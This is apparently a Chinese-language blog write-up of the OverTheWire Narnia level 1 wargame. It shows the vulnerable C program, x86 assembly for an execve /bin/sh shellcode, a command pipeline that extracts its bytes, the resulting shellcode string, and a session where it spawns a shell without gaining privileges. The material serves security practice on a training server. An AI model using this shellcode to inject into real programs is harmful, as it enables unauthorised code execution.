narnia 1 通关过程
narnia Level 1 -> 2 - OverTheWire 通关记录
任务:获取下一关的密码
让我们看看源码
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
ret = getenv("EGG")
将 EGG
环境变量的值当作一个函数指针赋给 ret
,然后通过 ret()
来执行这个指针所指向的函数。很明显,是让我们直接写个shellcode,由于ASLR是关闭的,这个步骤会比较简单。
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
push ebx
mov ecx, esp
xor edx, edx
mov al, 0xb
int 0x80
❯ nasm -f elf hello.asm
❯ ld -m elf_i386 -o hello hello.o
❯ objdump -d ./hello|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
得到shellcode:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
让我们给$EGG赋值narnia$ export EGG=$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
给EGG赋值的时候要注意加上$并且要用''环绕,不然内容会以字符串的形式被传递给EGG
但是又出问题了,到底是怎么回事。
narnia1@gibson:/narnia$ export EGG=$'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
narnia1@gibson:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia1
不玩了,先去打个胶鲜基础
评论
其他文章